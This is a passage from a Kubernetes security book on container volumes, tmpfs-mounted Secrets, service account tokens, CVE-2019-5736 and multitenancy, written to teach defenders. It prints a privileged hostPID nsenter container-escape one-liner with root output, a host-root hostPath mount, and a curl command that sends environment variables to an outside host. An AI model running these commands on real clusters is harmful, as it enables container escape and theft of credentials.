container will probably want to write data at some point in their lifecycle. That may be a read or write to the network, or writing variables to memory or a temporary file to disk, or reading information from the kernel like “what’s the most memory can I allocate?”

When the container’s process wants to write data “to disk,” it uses the read/write layer on top of a container image. This layer is created at runtime, and doesn’t affect the rest of the immutable image. So the process first writes to its local filesystem inside the container, which is mounted from the host using OverlayFS. OverlayFS
proxies the data the process is writing onto the host’s filesystem (e.g., ext4
or ZFS
).

What’s a Filesystem?

A filesystem

is a way of ordering and retrieving data on a volume, like a filing system or library index.

Linux uses a single virtual filesystem (VFS),

mounted at the /
mount point, to combine many other filesystems into one view. This is an abstraction to allow standardized filesystem access. The kernel uses VFS also as a filesystem interface for userspace programs.

“Mounting” a filesystem
creates a dentry
, which represents a directory entry in the kernel’s vfsmount
table. When we cd
through a filesystem, we are interacting with instances of the dentry
data structure to retrieve information about the files and directories we are viewing.

Tip

We explore the filesystem from an attacker’s perspective in
Appendix A

.

Virtual filesystems may be created on-demand, for example, procfs
in /proc
and sysfs
in /sys
, or as map onto other filesystems as VFS does.

And each non-virtual
filesystem must exist on a volume, which represents one or more media that store our data. The volume is what is presented to the user: both a single SSD with an ext4
filesystem, or many spinning disks in a RAID or NAS storage array, may show up as a single volume and filesystem to the user.

We can physically read or write the data to a

tangible “block device” like an SSD or a spinning disk, just like we use the pages and lines of text in a library book. These abstractions are shown in Figure 6-2
.

Figure 6-2.
Elements of a Linux volume

Other types of virtual filesystems also
don’t have a volume, such as udev
, the “userspace /dev” filesystem that manages the device nodes in our /dev
directory—and procfs
, which is usually mapped to /proc
and conveniently exposes Linux kernel internals through the filesystem.

The filesystem is what the user interacts with, but the volume may be a local or remote disk, single disk, a distributed datastore across many disks, a virtual filesystem, or combinations of those things.

Kubernetes allows us to mount a great variety of different volume types, but the volume abstraction is transparent to the end user. Due to the volume’s contract with the kernel, to the user viewing them each volumes appears

as a filesystem.

Container Volumes and Mounts

When a container

starts, the container runtime mounts filesystems into its mount namespace, as seen here
in Docker:

$

docker run -it sublimino/hack df -h
Filesystem Size Used Avail Use% Mounted on
overlay 907G 532G 329G 62% /
tmpfs 64M 0

64M 0% /dev
shm 64M 0

64M 0% /dev/shm
/dev/mapper/tank-root 907G 532G 329G 62% /etc/hosts
tmpfs 32G 0

32G 0% /proc/asound
tmpfs 32G 0

32G 0% /proc/acpi
tmpfs 32G 0

32G 0% /sys/firmware

Note that Docker appears to mount an /etc/hosts
file from the host, which in this case is a device mapper “special file.” There are also special filesystems, including a /dev/mapper/
device mapper. There are more, including proc
, sysfs
, udev
, and cgroup2
, among others.

OverlayFS

OverlayFS

as shown in Figure 6-3
creates a single filesystem by combining multiple read-only mount points. To write back to the filesystem, it uses a “copy on write” layer that sits on top of the other layers. This makes it particularly useful to containers, but also to bootable “live CDs” (that can be used to run Linux) and other read-only applications.

Figure 6-3.
OverlayFS (source: Kernel OverlayFS
)

The root of the container’s filesystem is provided by OverlayFS, and we can see that it leaks the host’s disk metadata and shows us the disk size and use. We can compare the rows by passing the /
and /etc/hosts
directories to df
:

$

docker run -it sublimino/hack df -h / /etc/hosts
Filesystem Size Used Avail Use% Mounted on
overlay 907G 543G 319G 64% /
/dev/mapper/tank-root 907G 543G 319G 64% /etc/hosts

Podman
does the same, although it mounts /etc/hosts
from a different filesystem (note this uses sudo
and is not rootless):

$

sudo podman run -it docker.io/sublimino/hack:latest df -h / /etc/hosts
Filesystem Size Used Avail Use% Mounted on
overlay 907G 543G 318G 64% /
tmpfs 6.3G 3.4M 6.3G 1% /etc/hosts

Notably
rootless Podman uses a userspace filesystem, fuse-overlayfs
, to avoid requesting root privileges when configuring the filesystem. This restricts the impact of a bug in the filesystem code—as it’s not owned by root, it’s not a potential avenue for privilege escalation:

$

podman run -it docker.io/sublimino/hack:latest df -h / /etc/hosts
Filesystem Size Used Avail Use% Mounted on
fuse-overlayfs 907G 543G 318G 64% /
tmpfs 6.3G 3.4M 6.3G 1% /etc/hosts

A volume must eventually be mapped to one or more physical disks if it persists data. Why is this important? Because it leaves a trail that an attacker can follow back to the host. The host can be attacked if there is a bug or misconfiguration in any of the software that interacts with that

volume.

Captain Hashjack may try to drop a script or binary onto the volume and then cause the host to execute it in a different process namespace. Or try to write a symlink that points to a legitimate file on the host, when read and resolved in the host’s mount namespace. If attacker-supplied input can be run “out of context” in a different namespace, container isolation can be broken.

Containers give us the
software-defined illusion of isolation from the host, but volumes are an obvious place for the abstraction to leak. Disks are historically error-prone and difficult to work with. The disk device
on the host’s filesystem isn’t really hidden from the containerized process by the container runtime. Instead, the mount namespace has called pivot_root
and we’re operating in a subset of the host’s filesystem.

With an attacker mindset, seeing the host’s disk on /dev/mapper/tank-root
reminds us to probe the visible horizon

and delve deeper.

tmpfs

A filesystem allows a

client to read or write data. But it doesn’t have to write the data when it’s told to, or even persist that data. The filesystem can do whatever it likes.

Usually the filesystem’s data is stored at rest on a physical disk, or collection of disks. In some cases, like the temporary filesystem tmpfs
, everything is in memory and data is not permanently stored at all.

Note

tmpfs
succeeded ramfs
as Linux’s preferred temporary filesystem. It makes a preallocated portion of the host’s memory available for filesystem operations by creating a virtual filesystem in memory. This may be especially useful for scripts and data-intensive filesystem processes.

Containers use tmpfs
filesystems to hide host filesystem paths. This is called “masking,” which is

anything that hides a path or file from a user.

Kubernetes uses tmpfs
too, to inject configuration into a container. This is a “12 factor app” principle: configuration shouldn’t be inside a container; it should be added at runtime in the expectation that it’ll differ across environments.

As with all filesystem
mounts, the root user on the host can see everything. It needs to be able to debug the machine, so this is a usual and expected security boundary.

Kubernetes can mount
Secret files into individual containers, and it does this using tmpfs
. Every container Secret, like a service account token, has a tmpfs
mount from the host to the container with the Secret in it.

Other mount namespaces shield the Secrets from other containers, but as the host creates and manages all these filesystems the host root user can read all the Secrets mounted by a kubelet
for its hosted pods.

As root on the host, we can see all the Secrets our local kubelet
has mounted for the pods running on the host using the mount
command:

$

mount |

grep secret
tmpfs on /var/lib/kubelet/.../kubernetes.io~secret/myapp-token-mwvw2 type

tmpfs (

rw,relatime)

tmpfs on /var/lib/kubelet/.../kubernetes.io~secret/myapp-token-mwvw2 type

tmpfs (

rw,relatime)

...

Each mount point is a self-contained filesystem, and so Secrets are stored in files on each filesystem. This utilizes the Linux permissions model to ensure confidentiality. Only the process in the container is authorized to read the Secrets mounted into it, and as ever root is omniscient

and can see, and do, almost anything:

gke-unmarred-poverties-2-default-pool-c838da77-kj28 ~ # ls -lasp \
/var/lib/kubelet/pods/.../volumes/kubernetes.io~secret/default-token-w95s7/
total 4
0 drwxrwxrwt 3 root root 140 Feb 20 14:30 ./
4 drwxr-xr-x 3 root root 4096 Feb 20 14:30 ../
0 drwxr-xr-x 2 root root 100 Feb 20 14:30 ..2021_02_20_14_30_16.258880519/
0 lrwxrwxrwx 1 root root 31 Feb 20 14:30 ..data -> ..2021_02_20_14_30_16.258880519/
0 lrwxrwxrwx 1 root root 13 Feb 20 14:30 ca.crt -> ..data/ca.crt
0 lrwxrwxrwx 1 root root 16 Feb 20 14:30 namespace -> ..data/namespace
0 lrwxrwxrwx 1 root root 12 Feb 20 14:30 token -> ..data/token

Volume Mount Breaks Container Isolation

We consider

anything external introduced into the container, or the relaxing of any security controls, as an increased risk to a container’s security. The mount namespace is frequently used to mount read-only filesystems into a pod, and for safety’s sake should always be read-only when possible.

If a Docker server’s client-facing socket is mounted into a container as read-write, the container is able to use the
Docker client to start a new privileged container on the same host.

The privileged mode removes all security features and shares the host’s namespaces and devices. So an attacker in a privileged container is now able to break out of the container.

The simplest way of doing this is with the namespace manipulation tool nsenter
, which
will either enter existing namespaces, or start a process in entirely new namespaces.

This command is very
similar to docker exec
: it moves a current or new process into the specified namespace or namespaces. This has the effect of transporting the user of the shell session between different namespace environments.

Note

nsenter
is considered a debugging tool and avoids entering cgroups
in order to evade resource limits. Kubernetes and docker exec
respect these limits, as resource exhaustion may DOS the entire node server.

Here we will start Bash in the mount namespace of PID 1. It is critical to security, as with /proc/self/exe
, to understand which namespace’s /proc
filesystem is mounted on the local filesystem. Anything mounted from the host into the container gives us an opportunity to attack it:

$

nsenter --mount=

/proc/1/ns/mnt /bin/bash

This command starts Bash in the mount namespace of PID 1. If a command is omitted, /bin/sh
is the default.

If the calling process is in a container with its own mount namespace, the command starts Bash in this same container namespace and not the host’s.

However, if the calling process is sharing the host’s PID namespace, this command will exploit the /proc/1/ns/mnt
link. Sharing the host’s PID namespace shows the host’s /proc
inside the container’s /proc
, showing the same process as previously with the addition of every other process in the target namespace.

Duffie Cooley
and Ian Coldwater
pulled the canonical offensive Kubernetes one-liner together the first time they met (see Figure 6-4
).

Figure 6-4.
Duffie Cooley’s powerful wizardry, escaping containers with nsenter
in Kubernetes clusters that allow privileged containers and hostPID

Let’s have a closer look:

$

kubectl

run

r00t

--restart

=

Never

\

-ti

--rm

--image

lol

\

--overrides

'{"spec":{"hostPID": true, \
"containers":[{"name":"1","image":"alpine",\
"command":["nsenter","--mount=/proc/1/ns/mnt","--",\
"/bin/bash"],"stdin": true,"tty":true,\
"securityContext":{"privileged":true}}]}}'

r00t

/

# id

uid

=

0

(

root

)

gid

=

0

(

root

)

groups

=

0

(

root

)

,1

(

bin

)

,2

(

daemon

)

,3

(

sys

)

,4

(

adm

)

,...

r00t

/

# ps faux

USER

PID

%CPU

%MEM

VSZ

RSS

TTY

STAT

START

TIME

COMMAND

root

2

0.0

0.0

0

0

?

S

03:50

0:00

[

kthreadd

]

root

3

0.0

0.0

0

0

?

I

<

03:50

0:00

\_

[

rcu_gp

]

root

4

0.0

0.0

0

0

?

I

<

03:50

0:00

\_

[

rcu_par_gp

]

root

6

0.0

0.0

0

0

?

I

<

03:50

0:00

\_

[

kworker/0:0H-kblockd

]

root

9

0.0

0.0

0

0

?

I

<

03:50

0:00

\_

[

mm_percpu_wq

]

root

10

0.0

0.0

0

0

?

S

03:50

0:00

\_

[

ksoftirqd/0

]

root

11

0.2

0.0

0

0

?

I

03:50

1:11

\_

[

rcu_sched

]

root

12

0.0

0.0

0

0

?

S

03:50

0:00

\_

[

migration/0

]

Run the nsenter
one-liner.

Check for root in the process namespace.

Check for kernel PIDs to verify we’re in the root namespace.

The form nsenter --all --target ${TARGET_PID}
is used for entering all of a process’s namespaces,
similar to docker exec
.

This is different from volumes mounted from the host:

apiVersion: v1
kind: Pod
metadata:
name: redis
spec:
containers:
- name: redis
image: redis
volumeMounts:
- name: redis-storage
mountPath: /data/redis
volumes:
- name: redis-storage
hostPath:
path: /
nodeName: master

This redis
volume has the host’s disk mounted in the container, but it is not in the same process namespace and can’t affect running instances of the applications started from that disk (like sshd
, systemd
, or the kubelet
). It can change config (including crontab
, /etc/shadow
, ssh
, and systemd
unit files), but cannot signal the processes to restart. That means waiting for an event (like a reboot, or daemon reload) to trigger the malicious code, reverse shell, or implant.

Let’s move on to a special case of a filesystem

vulnerability.

The /proc/self/exe CVE

The filesystem

inside the container is created on the host’s filesystem, so however small it is, there’s still some possibility to escape.

Some situations where this may be possible are when the container runtime has a bug, or makes an incorrect assumption about how to interact with the kernel. For example, if it doesn’t handle a link or file descriptor properly, there is a chance to send malicious input that can lead to a container breakout.

One of those incorrect assumptions arose from the use of /proc/self/exe
, and CVE-2019-5736 was able to break out and affect the host filesystem. Each process namespace has this pseudofile mounted in the /proc
virtual filesystem. It points to the location that the currently running process (self
) was started from. In this case, it was reconfigured to point to the host’s filesystem, and subsequently used to root the host.

Note

CVE-2019-5736 is the runc
/proc/self/exe
vulnerability, in runc
through 1.0-rc6 (used by Docker, Podman, Kubernetes, CRI-O, and containerd
). Allows attackers to overwrite the
host runc
binary (and consequently obtain host root access) by leveraging the ability to execute a command as root within one of these types of containers: (1) a new container with an attacker-controlled image, or (2) an existing container, to which the attacker previously had write access, that can be attached with docker exec
. This occurs because of file-descriptor mishandling, related to /proc/self/exe
.

A symlink to self
points to the parent process of the clone
system call. So first runc
ran clone
, then inside the container the child process did an execve
system call. That symlink was mistakenly created to point to self
of the parent and not the child. There’s more background on LWN.net
.

During the startup of a container—as the container runtime is unpacking the filesystem layers ready to pivot_root
into them—this pseudofile points to the container runtime, for example runc
.

If a malicious container image is able to use this link, it may be able to break
out to the host. One way of doing this is to set the container entrypoint as a symlink to /proc/self/exe
, which means the container’s local /proc/self/exe
actually points to the container runtime on the host’s filesystem. The detail is shown in Figure 6-5
.

Further to this, an attack on a shared library is required to complete the host escalation, but it’s not complex, and once complete, leaves the attacker inside the container with write access to the runc
binary outside it.

An interesting feature of this attack is that it can be executed entirely from a malicious image, does not require external input, and is able to execute any payload as root on the host. This is a classic supply chain attack with a cloud native slant. It could be concealed within a legitimate container, and highlights the importance of scanning for known vulnerabilities, but also that this won’t catch everything and intrusion detection is required for a complete defensive

posture.

Figure 6-5.
Diagram of the /proc/self/exe
breakout (source: “A Compendium of Container Escapes”
)

Note

Clearly the effects of CVE-2019-5736 were not the intended use of the link, and the assumption that the container runtime could allow a container image access to it was simply unvalidated. In many ways this highlights the difficulty of security and testing in general, which must consider malicious inputs, edge cases, and unexpected code paths. The vulnerability was discovered by the core runc
developer concerned about security, Aleksa Sarai, and there was no prior evidence of it being exploited in the wild.

Sensitive Information at Rest

In the following sections
we discuss sensitive information at rest, specifically Secrets management. In Kubernetes, Secrets
are by default stored unencrypted in etcd
and can be consumed in the context of a pod via volumes or via environment variables.

Mounted Secrets

The kubelet
running
on worker
nodes is responsible for mounting volumes into a pod. The volumes hold plaintext Secrets, which are mounted into pods for use at runtime. Secrets are used to interact with other system components, including Kubernetes API authorization for service account Secrets, or credentials for external services.

Note

Kubernetes v1.21 introduces immutable ConfigMaps and Secrets that can’t be changed after creation:

apiVersion

:

v1

kind

:

Secret

# ...

data

:

ca.crt

:

LS0tLS1CRUdAcCE55B1e55ed...

namespace

:

ZGVmYXVsdA==

token

:

ZXlKaGJHY2lPC0DeB1e3d...

immutable

:

true

Updates to the config or Secret must be done by creating a new Secret, and then creating new pods that reference it.

If a pirate can
compromise a worker node and gain root privileges, they can read these Secrets and every Secret of each pod on the host. This means root on the node is as powerful as all the workloads it’s running as it can access all their identities.

These standard

service account tokens are limited JSON Web Tokens (JWTs) and never expire, and so have no automated rotation mechanism.

Attackers want to steal your service account tokens to gain deeper access to workloads and data. Service account tokens should be rotated regularly (by deleting them from the Kubernetes Secrets API, where a controller notices and regenerates them).

A more effective process is bound service account tokens, which extend the standard service account token with a full JWT implementation for expiry and audience. Bound service account tokens are requested for a pod by the kubelet
, and issued by the API server.

Note

Bound service account tokens
can

be used by applications in the same way as standard service account tokens, to verify the identity of a workload.

The NodeAuthorizer
ensures the kubelet
only requests tokens for pods it is supposed to be running, to mitigate against stolen kubelet
credentials. The attenuated permissions of bound tokens decrease the blast radius of compromise and the time window for
exploitation.

Attacking Mounted Secrets

A

popular mechanism of Kubernetes privilege escalation is service account abuse. When Captain Hashjack gets remote access to a pod, they’ll check for a service account token first. The selfsubjectaccessreviews.authorization.k8s.io
and selfsubjectrulesreviews
APIs can be used to enumerate available permissions (kubectl auth can-i --list
will show what permissions are available) if there is a service account token mounted.

Or if we can pull binaries, rakkess
shows a much nicer view. Here’s an overprivileged service account:

$

rakkess

NAME

LIST

CREATE

UPDATE

DELETE

apiservices.apiregistration.k8s.io

✔

✔

✔

✔

...

secrets

✔

✔

✔

✔

selfsubjectaccessreviews.authorization.k8s.io

✔

selfsubjectrulesreviews.authorization.k8s.io

✔

serviceaccounts

✔

✔

✔

✔

services

✔

✔

✔

✔

...

volumesnapshotcontents.snapshot.storage.k8s.io

✔

✔

✔

✔

volumesnapshots.snapshot.storage.k8s.io

✔

✔

✔

✔

rakkess has some extended options. To retrieve all actions use rakkess --verbs create,get,list,watch,update,patch,delete,deletecollection
.

This is not a vulnerability, it’s just the way a Kubernetes identity works. But the lack of expiry on unbound service account tokens is a serious risk. The Kubernetes API server shouldn’t be accessible to any client that doesn’t directly require it. And that includes pods, which should be firewalled with network policy if they don’t talk to the API.

Operators that talk to the API server must always have a network route and an identity (that is, their service account can be used to identify them with Kubernetes, and perhaps other systems). This means they need special attention to ensure that their permissions are not too great, and they consider the system’s resistance to

compromise.

Storage Concepts

In this section, we review Kubernetes storage
concepts, security best practices, and attacks.

Container Storage Interface

The Container Storage Interface
(CSI) uses

volumes to integrate pods and external or virtual storage systems.

CSI allows many types of storage
to integrate with Kubernetes, and contains drivers for most popular block and file storage systems to expose the data in a volume. These include block and elastic storage from managed services, open source distributed filesystems
like Ceph
, dedicated hardware and network attached storage, and a range of other third-party drivers.

Under the hood these plug-ins “propagate” the mounted
volumes, which means sharing them between containers in a pod, or even propagating changes from inside the container back to the host. When the host’s filesystem reflects volumes mounted by the container, this is known as “bi-directional mount propagation.”

Projected Volumes

Kubernetes

provides special volume types in addition to the standard Linux offerings. These are used to mount data from the API server or kubelet
s into the pod. For example, to project container or pod metadata into a volume
.

Here is a simple example that projects Secret objects into a projected volume for easy consumption by the test-projected-volume
container, setting permissions on the files it creates on the volume:

apiVersion

:

v1

kind

:

Pod

metadata

:

name

:

test-projected-volume

spec

:

containers

:

-

name

:

test-projected-volume

image

:

busybox

args

:

-

sleep

-

"86400"

volumeMounts

:

-

name

:

all-in-one

mountPath

:

"/projected-volume"

readOnly

:

true

volumes

:

-

name

:

all-in-one

projected

:

sources

:

-

secret

:

name

:

user

items

:

-

key

:

user

path

:

my-group/my-username

mode

:

511

-

secret

:

name

:

pass

items

:

-

key

:

pass

path

:

my-group/my-username

mode

:

511

Projected volumes take existing data from the same namespace as the pod, and make it more easily accessible inside the container. The volume types are listed in Table 6-1
.

Table 6-1.
Kubernetes volume types

Volume type

Description

Secret

Kubernetes API server Secret objects

downwardAPI

Configuration elements from a pod or its node’s configuration (e.g., metadata including labels and annotations, limits and requests, pod and host IPs, and service account and node names)

ConfigMap

Kubernetes API server ConfigMap objects

serviceAccountToken

Kubernetes API server serviceAccountToken

This can also
be used to change the location of a service account Secret, using the TokenRequestProjection
feature, which prevents kubectl and its clients from auto-discovering the service account token. This obscurity—for example, hiding files in different locations—should not be considered a security boundary, but rather a simple way to make an attacker’s life more difficult:

apiVersion

:

v1

kind

:

Pod

metadata

:

name

:

sa-token-test

spec

:

containers

:

-

name

:

container-test

image

:

busybox

volumeMounts

:

-

name

:

token-vol

mountPath

:

"/service-account"

readOnly

:

true

volumes

:

-

name

:

token-vol

projected

:

sources

:

-

serviceAccountToken

:

audience

:

api

expirationSeconds

:

3600

path

:

token

Every volume mounted into a pod is of interest to an attacker. It could contain data that they want to steal or exfiltrate, including:

- User data and passwords

- Personally identifiable information

- An application’s secret sauce

- Anything that has financial value to its owner

Let’s now see how volumes can

be attacked.

Attacking Volumes

Stateless

applications in containers do not persist data inside the container: they receive or request information from other services (applications, databases, or mounted filesystems). An attacker that controls a pod or container is effectively impersonating it, and can steal data from other services using the credentials mounted as Kubernetes Secrets.

The service account token mounted at /var/run/secrets/kubernetes.io/serviceaccount
is the

container’s identity:

bash-4.3# mount |

grep secrets
tmpfs on /var/run/secrets/kubernetes.io/serviceaccount type

tmpfs (

ro,relatime)

By default a service account token is mounted into every pod instance of a deployment, which makes it a rather general form of identity. It may also be mounted into other pods and their replicas. GCP’s Workload Identity refers to this as a “workload identity pool,” which can be thought of as a role.

Because the attacker is in the pod, they can maliciously make mundane network requests, using the service account credentials to authorize with cloud IAM services. This can give access to SQL, hot and cold storage, machine images, backups, and other cloud storage systems.

The user running a container’s network-facing process should have least privilege permissions. A vulnerability in a container’s attack surface, which is usually its network-facing socket, gives an attacker initial control of only that process.

Escalating privilege inside a container may involve difficult exploits and hijinks for an adversary, setting yet another security botheration for attackers like Dread Pirate Hashjack, who may be more inclined to pivot to an easier target. Should they persist, they will be unable to penetrate further and must reside in the network for longer, perhaps increasing likelihood of detection.

In this example the pod has a mounted volume at /cache
, which it is protected by discretionary access control (DAC) like all other Linux files.

Warning

Out-of-context symlink resolution
in mounted filesystems is a common route for data exfiltration, as demonstrated in the kubelet
following symlinks as root in /var/log
from the /logs
server endpoint in this Hackerone bug bounty
.

The hostMount
in action:

# df
Filesystem 1K-blocks Used Available Use% Mounted on
overlay 98868448 5276296 93575768 5% /
tmpfs 65536 0 65536 0% /dev
tmpfs 7373144 0 7373144 0% /sys/fs/cgroup
/dev/sda1 98868448 5276296 93575768 5% /cache

The filesystem mounted on the volume:

# ls -lap /cache/
total 16
drwxrwxrwx 4 root root 4096 Feb 25 21:48 ./
drwxr-xr-x 1 root root 4096 Feb 25 21:46 ../
drwxrwxrwx 2 app-user app-user 4096 Feb 25 21:48 .tmp/
drwxr-xr-x 2 root root 4096 Feb 25 21:47 hft/

Here the app user that owns the container’s main process can write temporary files (like processing artifacts) to the mount, but only read the data in the hft/
directory. If the compromised user could write to the hft/
directory they could poison the cache for other users of the volume. If the containers were executing files from the partition, a backdoor dropped on a shared volume allows an attacker to move between all users of the volume that execute it.

In this case root owns hft/
so this attack is not possible without further work by the attacker to become root inside the container.

Note

Containers generally execute only the applications bundled inside their image, to support the principles of determinism and container image scanning. Executing untrusted or unknown code, such as curl x.cp | bash
is unwise. Similarly, a binary from a mounted volume or remote location should have its checksum validated before execution.

The security of the data relies on
filesystem permissions. If the container maintainer hasn’t set up the filesystem or users correctly, there may be a way for an attacker to get to it. setuid
binaries are a traditional route to escalate privilege, and shouldn’t be needed inside a container: privileged operations should be handled by init containers.

But what if the attacker can’t get into the target pod with the volume mounted? They may be able to mount a volume to a rogue pod with stolen service account credentials instead. In this scenario the attacker has permission to deploy to a namespace, and so admission controllers are the last line of defense against stolen credentials. Preventing rootful pods can help to maintain the security of shared volumes, as well as process and devices in the pod or mounted from the host or network.

Root access in a pod is the gateway to trouble. Many attacks can be prevented by dropping to an unprivileged user in a Dockerfile.

Root is omniscient, the rogue’s

raison d' être.

The Dangers of Host Mounts

As pointed
out in an Aqua blog post
from 2019:

Kubernetes has many moving parts, and sometimes combining them in certain ways can create unexpected security flaws. In this post you’ll see how a pod running as root and with a mount point to the node’s /var/log directory can expose the entire contents of its host filesystem to any user who has access to its logs.

A pod may mount a directory of a host’s filesystem into a container, for example /var/log
. The use of a subdirectory does not prevent the container from moving outside of that directory. A
symlink can reference anywhere on the same filesystem, so an attacker can explore any filesystem they have write access to using symlinks.

Container security systems will prevent this attack, but vanilla Kubernetes is still vulnerable.

The exploit in kube-pod-escape
demonstrates

how to escape to the host via writable hostPath
mount at /var/log
. With write access to the host an attacker can start a new pod by writing a malicious manifest to /etc/kubernetes/manifests/
to have the kubelet
create it.

Other Secrets and Exfiltraing from Datastores

Pods have other forms of identity injected in, including SSH and GPG keys, Kerberos and Vault tokens, ephemeral credentials, and other sensitive information. These are exposed by the kubelet
into the pod as filesystem mounts, or environment variables.

Environment variables
are inherited, and visible to other processes owned by the same user. The env
command dumps them easily and an attacker can exfiltrate them easily: curl -d "$(env)" https://hookb.in/swag
.

Mounted files
can still be exfiltrated with the same relative ease, but are made marginally more difficult to read by filesystem permissions. This may be less relevant with a single unprivileged user that must read all its own Secrets anyway, but becomes relevant in case of shared volumes among containers in a pod.

Admission control policy (see “Runtime Policies”
,) can prevent host mounts entirely, or enforce read-only mount paths.

We will cover this topic in more detail in Chapter 7
.

Conclusion

Volumes hold a digital business’s most valuable asset: data. It can fetch a handsome ransom. You should prevent Captain Hashjack from accessing data using stolen credentials by using hardened build and deployment patterns. Assuming that everything will be compromised, using workload identity to scope cloud integrations to the pod, and assigning limited cloud access to dedicated service accounts, make an attacker’s life more difficult.

Encrypting data at rest (in etcd
and in the context of the pods consuming it) protects it from attackers, and of course your pods that face the network and mount valuable data are the highest impact targets to compromise.

Chapter 7.
Hard Multitenancy

Sharing a Kubernetes cluster securely is hard. By default, Kubernetes is not configured to host multiple tenants, and work is needed to make it secure. “Secure” means it

should be divided fairly between isolated tenants, who shouldn’t be able to see each other and shouldn’t be able to break shared resources for anybody else.

Each tenant may run their own choice of workloads, confined to their own set of namespaces. The combination of security settings in the namespace configuration and the cluster’s access to external and cloud services defines how securely tenants are separated.

Each tenant in a cluster can be considered friendly or hostile, and cluster admins deploy appropriate controls to keep other tenants and the cluster components free from harm. The level of these controls is set for the type of tenants expected by the system’s threat model.

Note

A tenant

is the cluster’s customer. They may be a team, test or production environment, a hosted tool, or any logical grouping of resources.

In this chapter you will sail the shark-infested waters of Kubernetes multitenancy and their namespaced “security boundaries.” The control plane’s lockdown techniques are inspected for signs of fraying, we compare the data classification of workloads and their cargo, and look at how to monitor our resources.

Defaults

Namespaces exist
to group resources, and Kubernetes doesn’t have an inherent namespace tenancy model. The
namespaced tenancy concept only works for interactions within the Kubernetes API, not the entire cluster.

By default, cross-tenant visibility
is not protected by
networking, DNS, and some namespaced policy unless the cluster is hardened with specific configuration that we’ll examine in this chapter.

A careful defender will segregate a tenant
application into multiple namespaces to more clearly delineate the RBAC permissions each service account has and to make it easier to reason and deploy network policy, quotas and limits, and other security tooling. You should only allow one tenant to use each namespace because of those namespace-bound policies and resources.

Tip

A tenant
could be a single application, a complex application divided in multiple namespaces, a test environment required for its development, a project, or any trust boundary.

Threat Model

The Kubernetes multitenancy working group
considers two categories of

multitenancy:

- Soft multitenancy
is easier for
tenants to use and allows greater configuration

- Hard multitenancy
aims to be “secure by default,” with
security settings preconfigured and immutable

Soft multitenancy is a friendly, more permissive security model. It assumes tenants are partially trusted and have the cluster’s best interest at heart, and it permits them to configure parts of their own namespaces.

Hard multitenancy is locked down and assumes tenants are hostile. Multiple controls reduce opportunity for attackers: workload isolation, admission control, network policy, security monitoring, and intrusion detection systems (IDS) are configured in the platform, and tenants only perform a restricted set of operations. The trade-off for such a restrictive configuration is tenant usability.

Our threat model is scoped for hard multitenancy, to strengthen every possible defense against our arch nemesis, the scourge of the digital seas, Dread Pirate Captain Hashjack.

Namespaced Resources

Before we get into hard
and soft multitenancy, let’s have a look at how we can separate resources: namespaces and nodes.

Tip

Networking doesn’t adhere the idea of

namespacing: we can apply policy to shape it, but fundamentally it’s a flat subnet.

Visibility of your Kubernetes

RBAC resources (covered in Chapter 8
) is either scoped to a namespace such as pods or service accounts or to the whole cluster like nodes or persistent volumes.

Spreading a single tenant

across multiple namespaces reduces the impact of stolen or compromised credentials and increases the resistance of the system to compromise, at the cost of some operational complexity. Your teams should be able to automate their jobs, which will result in a secure and fast-to-patch system.

Note

GitOps operators

may be deployed in a dedicated per-operator namespace. For example, an application may be deployed into the namespaces myapp-front-end
, myapp-middleware
, and myapp-data
. A privileged operator that deploys and modifies the application in those namespaces may be deployed into a myapp-gitops
namespace, so compromise of any namespaces under its control (e.g., the myapp-front-end
) doesn’t directly or indirectly lead to the compromise of the privileged operator.

GitOps deploys whatever is committed to the repository it is monitoring, so control of production assets extends to the the source repository. For more on securing Git, see “Hardening Git for GitOps”
.

In the

Kubernetes RBAC model, namespaces are cluster-scoped and so suffer coarse cluster-level RBAC: if a user in a tenant namespace has permission to view their own namespace, they can also view all other namespaces on the cluster.

Tip

OpenShift
introduces the “project” concept, which is a namespace with additional annotations.

The API server

can tell you which of its resources are not namespaced with this query (output edited to fit):

$

kubectl api-resources --namespaced=

false

NAME SHORTNAMES ... NAMESPACED KIND
componentstatuses cs false

ComponentStatus
namespaces ns false

Namespace
nodes no false

Node
persistentvolumes pv false

PersistentVolume
...

Kubernetes’ shared DNS model
also exposes other namespaces and services and is an example of the difficulties of hard multitenancy. CoreDNS’s
firewall plug-in can be configured to “prevent Pods in certain Namespaces from looking up Services in other Namespaces.” IP and DNS addresses are useful to an attacker who surveys the visible horizon for their next target.

Node Pools

The pods in a namespace can span multiple nodes, as Figure 7-1
shows. If an attacker can escape from a container onto the underlying node, they may be able to jump between namespaces, and possibly even nodes, of a cluster.

Figure 7-1.
A namespace often spans multiple nodes, however a single instance of a pod only ever runs on one node

Node pools are
groups of nodes with the same configuration, and that can scale independently of other node pools. They can be used to keep workloads of the same risk, or classification, on the same nodes. For example, web-facing applications should be separated from internal APIs and middleware workloads that are not accessible to internet traffic, and the control plane should be on a dedicated pool. This means in the event of container breakout, the attacker can only access resources on those nodes, and not more sensitive workloads or Secrets, and traversing between node pools is not a simple escalation.

You can assign workloads
to node pools with labels and node selectors (output edited)
:

user@host:~

[

0

]

$

kubectl

get

nodes

--show-labels

NAME

STATUS

ROLES

AGE

VERSION

LABELS

kube-node-1

Ready

master

11m

v1.22.1

beta.kubernetes.io/arch

=

amd64,...

kube-node-2

Ready

<

none>

11m

v1.22.1

beta.kubernetes.io/arch

=

amd64,...

kube-node-3

Ready

<

none>

11m

v1.22.1

beta.kubernetes.io/arch

=

amd64,...

user@host:~

[

0

]

$

kubectl

label

nodes

kube-node-2

\

node-restriction.kubernetes.io/nodeclass

=

web-facing

Let’s examine a deployment to see its NodeSelector
:

apiVersion

:

extensions/v1beta1

kind

:

Deployment

metadata

:

name

:

high-risk-workload

spec

:

replicas

:

1

template

:

spec

:

containers

:

-

image

:

nginx/

# ...

nodeSelector

:

node-restriction.kubernetes.io/nodeclass

:

web-facing

See the labels applied to each node.

Set a node’s class.

One or more key-value pairs targeting a Node’s labels, to direct the scheduler.

Warning

Later in this chapter we look at how to prevent a hostile kubelet
relabeling itself, by using well-known labels from the
NodeRestriction

admission plug-in.

The
PodNodeSelector

admission controller can limit
which nodes can be targeted by selectors in a namespace, to prevent hostile tenants scheduling on other’s namespace-restricted nodes (edited to fit):

apiVersion

:

v1

kind

:

Namespace

metadata

:

annotations

:

scheduler...io/node-selector

:

node-restriction.k...s.io/nodeclass=web-facing

name

:

my-web-facing-ns

For hard multitenant

systems these values should be set by an admission controller based upon a property of the workload: its labels, who or where it was deployed from, or the image name. Or it may be that only an allowlist of fully qualified images with their digests may ever be deployed to high-risk or web-facing nodes.

Note

A cluster’s

security boundary slides based upon its threat model and current scope, as Mark Manning
